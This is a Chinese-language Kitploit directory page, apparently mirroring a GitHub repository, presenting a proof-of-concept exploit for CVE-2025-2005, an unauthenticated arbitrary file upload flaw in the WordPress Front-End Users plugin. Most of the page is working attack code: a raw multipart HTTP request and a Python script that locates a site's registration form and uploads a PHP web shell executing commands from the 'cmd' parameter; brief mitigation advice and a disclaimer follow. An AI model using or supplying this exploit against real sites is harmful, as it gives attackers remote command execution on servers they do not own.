Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2005 — CVE-2025-2005 的概念验证利用,针对 WordPress Front-End Users 插件(版本 <= 3.2.32)中的任意文件上传漏洞。包含手动 HTTP 和 Python 利用脚本,用于将 PHP 网页木马上传到未经身份验证的注册表单。 | Kitploit
工具/GitHubGitHub/h4ckxel/cve-2025-2005
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubh4ckxel/cve-2025-2005

CVE-2025-2005

CVE-2025-2005 的概念验证利用,针对 WordPress Front-End Users 插件(版本 <= 3.2.32)中的任意文件上传漏洞。包含手动 HTTP 和 Python 利用脚本,用于将 PHP 网页木马上传到未经身份验证的注册表单。

查看仓库
131年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-2005 - WordPress Front-End Users 插件中的漏洞

By h4ckxel

快速信息

  • 插件: Front-End Users
  • 受影响版本: <= 3.2.32
  • 漏洞类型: 任意文件上传
  • CVSS 评分: 10(严重)
  • 风险: 允许任何未认证攻击者上传任意文件(例如 PHP Web Shell)并远程执行,从而危及整个服务器。

漏洞描述

此漏洞利用插件注册表单中文件上传验证的缺陷。没有扩展名过滤、身份验证检查或文件类型清理。攻击者可以向任何注册表单发送 multipart/form-data 请求,并在自定义字段(例如 xxploit)中注入恶意的 .php 文件。

虽然上传的文件会以随机哈希命名存储在 wp-content/uploads/ewd_feup_uploads/ 目录中,但如果该目录启用了 PHP 执行,这些文件仍然可被执行。


PoC - 手动利用

root@kitploit:~
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029

------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register

------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited

------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--

文件保存在:

root@kitploit:~
/wp-content/uploads/ewd_feup_uploads/[RANDOM_HASH].php

文件名会变化,但可以通过手动或扫描器找到。


PoC - Python 利用脚本

root@kitploit:~
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False

parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()

base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword

print(f"[*] Scaneando: {base_url}")

try:
    response = session.get(base_url, timeout=10)
    soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
    print("[-] Error al acceder al sitio.")
    exit()

page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")

registration_url = None
for link in page_links:
    try:
        page = session.get(link, timeout=10)
        if "ewd-feup-register-form" in page.text:
            registration_url = link
            print(f"[+] Form de registro encontrado en: {registration_url}")
            break
    except:
        continue

if not registration_url:
    print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
    exit()

shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
    'ewd-feup-action': 'register',
    'Username': username,
    'User_Password': password,
    'Confirm_User_Password': password,
    'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}

print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)

if upload_response.status_code == 200:
    print("[+] Upload completado.")
else:
    print("[-] Falló la subida.")

解决方案

将插件更新到最新的安全版本(如果存在),如果没有补丁则暂时禁用。此外:

  • 阻止在 wp-content/uploads/ 目录中执行 PHP。
  • 在表单中实施扩展名和文件类型验证。
  • 仅允许经过身份验证的用户上传。

免责声明

此 PoC 仅用于教育目的和授权的安全测试。不要成为脚本小子,请负责任地使用,并仅在获得许可的环境中使用。

下载工具